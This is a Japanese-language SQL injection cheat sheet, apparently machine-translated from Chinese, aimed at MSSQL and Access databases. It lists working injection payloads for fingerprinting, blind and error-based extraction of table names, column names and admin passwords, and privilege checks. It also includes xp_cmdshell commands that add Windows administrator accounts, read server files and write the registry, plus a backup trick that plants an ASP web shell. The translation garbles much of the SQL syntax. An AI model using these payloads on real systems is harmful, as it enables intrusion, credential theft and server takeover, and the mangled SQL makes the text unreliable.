1. 注入が存在するかどうかを判定する ; そして1=1 ; そして1=2
2. MSSQLかどうかの予備判断 ; およびユーザー>0
3. データベースシステムの評価 ; および(sysObjectsからcount(*)を選択する)>0 MSSQL ; および(msysObjectsからcount(*)を選択し)>0アクセス
4. 注入パラメータはキャラクターです ' [クエリ基準] と ''=''
5. 探索中にフィルタリングされたパラメータが存在しない ' [クエリ基準] および '%25'='
6. テーブルの名前を当てる ; および([テーブル名]からCount(*)を選択し)>0
7. フィールドを当てる ; そして(テーブル名からCount(field name)を選択し>0
8. 現場での記録の長さを推測する ; そして(テーブル名から上位1 len(フィールド名)を選択し>0
9. (1) フィールドのASCII値を推測する(アクセス) ; そして(テーブル名からトップ1のASC(mid(field名、1,1))を選択し>0
(2) フィールド(mssql)のASCII値を推測する ; そして(テーブル名から上位1個のUnicode(substring(field name,1,1))を選択する)>0
10. テスト権限構造(mssql) ; 1=(選択IS_SRVROLEMEMBER(「sysadmin」)); -- ; 1=(選択IS_SRVROLEMEMBER('serveradmin')); -- ; 1=(選択IS_SRVROLEMEMBER('setupadmin'))); -- ; 1=(選択IS_SRVROLEMEMBER('securityadmin'))); -- ; 1=(選択IS_SRVROLEMEMBER(「ディスク管理者」)); -- ; 1=(選択IS_SRVROLEMEMBER(「bulkadmin」)); -- ; 1=(選択IS_MEMBER('db_owner'))); --
11. mssqlとシステム用のアカウントを追加してください ; エグゼクティブmaster.dbo.sp_addloginユーザー名; -- ; exec master.dbo.sp_password null、username、password; -- ; exec master.dbo.sp_addsrvrolemember sysadmin ユーザー名; -- ; exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; exec master.dbo.xp_cmdshell 「net user username password /add」; -- ; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; --
12. (1) カタログを横断する ; Create table dirs(paths varchar(100), id int) ; 取締役 エグゼクティブ master.dbo.xp_dirtree 'c:\' を挿入 ; および(ダイルスからトップ1のパスを選択してください)>0 ; および(dirsから(前ステップで取得した経路に含まれていない経路)から上位1つの経路を選択する)>)
(2) カタログを横断する ; テーブルtemp(id nvarchar(255)、num1 nvarchar(255)、num2 nvarchar(255)、num3 nvarchar(255)); -- ; 臨時幹部master.dbo.xp_availablemediaを挿入; -- 全ての電流ドライブを入手 ; temp(id) exec master.dbo.xp_subdirs 'c:\' を挿入します; -- サブディレクトリのリストを取得する ; temp(id,num1) exec master.dbo.xp_dirtree 'c:\' を挿入します。 -- すべてのサブディレクトリのディレクトリツリー構造を取得する ; temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp' を挿入します。 -- ファイルの内容を見る
13. mssqlにおけるストアドプロシージャ xp_regenumvalues レジストリのルートキー、子キー ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE'、'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' は複数のレコードセットですべてのキー値を返します xp_regread ルートキー、子キー、キー値名 ; exec xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'CommonFilesDir' はセットキーの値を返します xp_regwrite ルートキー、子キー、値名、値型、値 値タイプには文字タイプと整数の2種類があり、REG_SZ REG_DWORD ; exec xp_regwrite レジストリに対して「HKEY_LOCAL_MACHINE」、「SOFTWARE\Microsoft\Windows\CurrentVersion」、「TestvalueName'、'reg_sz', 'hello」 xp_regdeletevalue ルートキー、サブキー、値名 exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' を入力すると値が削除されます キーを削除するにはxp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' を使い、そのキー内のすべての値も含めて
14. MSSQLバックアップがウェブシェルを作成します モデルを活用してください create table cmd(str image); cmd(str)の値を挿入します('<% Dim oScript %>'); バックアップデータベースモデルをdiskに変換='c:\l.asp';
15. MSSQLの組み込み関数 ; (@@version)>0を選択してWindowsのバージョン番号を取得します ; user_name()='dbo'で、現在のシステムの接続ユーザーがSAかどうかを判別します ; (選択user_name())>0 現在のシステムに接続されたユーザーを爆発させました ; および(db_name())>0を選択して現在接続されたデータベースを取得します
MSSQL 手書き注釈付きデータベース違反
1. 現在のテーブル名と列名を公開する 注入点の後に「'having 1=1--」を提出すると、テーブル名と列名が見える英語の返答メッセージが表示されます。 「グループ名を提出し、1=1--」を提出すると別の列名が得られます。 「公開されたテーブル名のリストでグループ化」を続けて送信してください。公開されたテーブルの名前です。 2列目の名前は1=1--"であり、これにより別の列名が得られます。 同じ方法でコミットし、ページがエラーメッセージを返さなくなるまで続けて、すべてのカラム名を取得します。 トリビア:暴力的なテーブル名や列名は、SQL文でGROUP BYと組み合わせて条件付き判断を下すために使われます。 文が不完全であるため、データベースはエラーメッセージを返し、テーブル名と列名を表示します。 BASICメソッドはデータベース内の現在のテーブルのみを公開でき、テーブルに多数の列名がある場合は、BASICメソッドの使用が非常に困難です。
まずは。 すべてのデータベース名が公開されます 「and 0<>(master count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])」という文を使って、データベース内の任意のテーブル名や列名を公開し、「[N]」はデータベース内のN番目のテーブルを表します。 ステップ1:ポイントを注入した後、次の文を提出します:「and 0<>(master.dbo.sysdatabases からcount(*) を選択 where name>1 and dbid=12)」。dbidの値は1から5までで、システムが使用しているため、ユーザーは6から構築し、名前を提出した必要があります>1、名前フィールドが文字型フィールドであり、数値比較が誤りとなるため、提出後IEは以下の情報を返します:「Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] nvarchar 値 'Northwind' をデータ型 int に変換します コラム。 このようにして、名前フィールドの値を公開し、データベース名「Northwind」が得られます。 「dbid」の値を変更すると、すべてのデータベース名を取得できます。
および0<>(master.dbo.sysdatabasesからcount(*)を選択し、name>1 および dbid=[N])-- Nを修正して6からのすべてのデータベース名を爆発的に消去します
次に。 指定されたデータベース内のすべてのテーブル名を公開します データベース名を取得したら、ライブラリ内のすべてのテーブル名を取得し、次の文を提出する必要があります:「and 0<>(master.dbo.sysobjects where xtype='U' から上位1名を選択してください)」。これはマスターデータベース内のテーブル名で、クエリのSQL文は名前の値を返し、それを0と比較して名前の値を公開します。 提出後、テーブルの名前が「spt_monito」であることが明らかになりました。 その後、他のテーブルが公開され、次の文が提出されます:「and 0<>(master.dbo.sysobjects から top 1 name 選択 where xtype='U' および name not in('spt_monito'))」と、別の「cd512」というテーブルが公開されます。 ファイル「および名前が(' spt_monito'', ' CD512',..))に入っていない」 テーブル名はすべて調べられます。
および0<>([データベース名指定].dbo.sysobjects から上の名前を選択 (xtype='U')-- および0<>([データベース名指定].dbo.sysobjectsから上位1個の名前を選択し、xtype='U' および名前が('[Exploded table name]'))に入らない名前を選びます-- および0<>([データベース名指定].dbo.sysobjects から上位1個の名前を選択 (xtype='U' かつ名前は('[Explosive table name]', '[Exploded second table name]')--
4. 指定されたテーブル内のすべての列名を公開する および 0<>(bbs.dbo.sysobjects から count(*) 選択 xtype='U' および name='admin' および uid>(str(id))) ID値を文字型に変換し、それを整数値と比較します。 ID番号が出てる。 値は次の通りです:949578421 name='table name'
および0<>(wutong.dbo.syscolumnsからid=949578421)から上位1個を選択して、管理者テーブル内のフィールド名が公開されます
再送信して0<>(wutong.dbo.syscolumnsからid=949578421 and name not in('adduser)を選びます-- ファイル「および名前が(' spt_monito'', ' CD512',..))に入っていない」 すべてのフィールド名は管理者テーブルで見つけることができます。
そして0<>([データベース名指定].dbo.sysobjects からcount(*)を選択 ここでxtype='U' およびname='[explodするフィールドのテーブル名]' およびuid>(str(id)))-explodとなるフィールドのテーブル名のID値
および0<>([データベース名を指定].dbo.syscolumnsから上位1個の名前を選択し、id=exploded id value)-exploding id値テーブル内のフィールド名
および0<>([データベース名指定].dbo.syscolumnsから上位1名を選択し、id=爆発的なid値と名前に入らない名前('[Exploded field name]'))--
5. 指定されたテーブルのデータを読み取る
そして0<(wutong.dbo.adminからA_ID選択、A_UserID>1)――A_PWDを壊したコンテンツ
そして 0<([select database name].dbo.[table name to query] から[存在するフィールド]を選択し、[field name to explode content]>1)--
0<(wutong.dbo.admin からA_IDを選択し、A_PWD>1 と A_UserID='admin')-管理者のパスワードが露出します
および0<(管理者からトップ1を選択し、A_UserID A_ID<>1)—id<>1(fuhao)の管理者名)
および0<(管理者A_UserID「トップ1」を選択し、A_ID <>1とA_UserID <>「fuhao」)――2番目の管理者の名前<>(tuiguang)と等しくありません。
そして0<(管理者からA_UserIDトップ1を選択し、A_ID <>1とA_UserID <>「fuhao」、A_UserID <>「tuiguang」)--
データベースのテーブル名と列名を知ったら、「クエリ文」を使ってデータベース内の情報を読み取ることができます。 例えば、テーブルの列のN番目のデータを読みたい場合は、「(テーブル名から上位1列名を選択し、id=[N])>1」([N]は列内のN番目のデータを表す)を提出すると、IEが返す情報から目的のデータがわかります。
|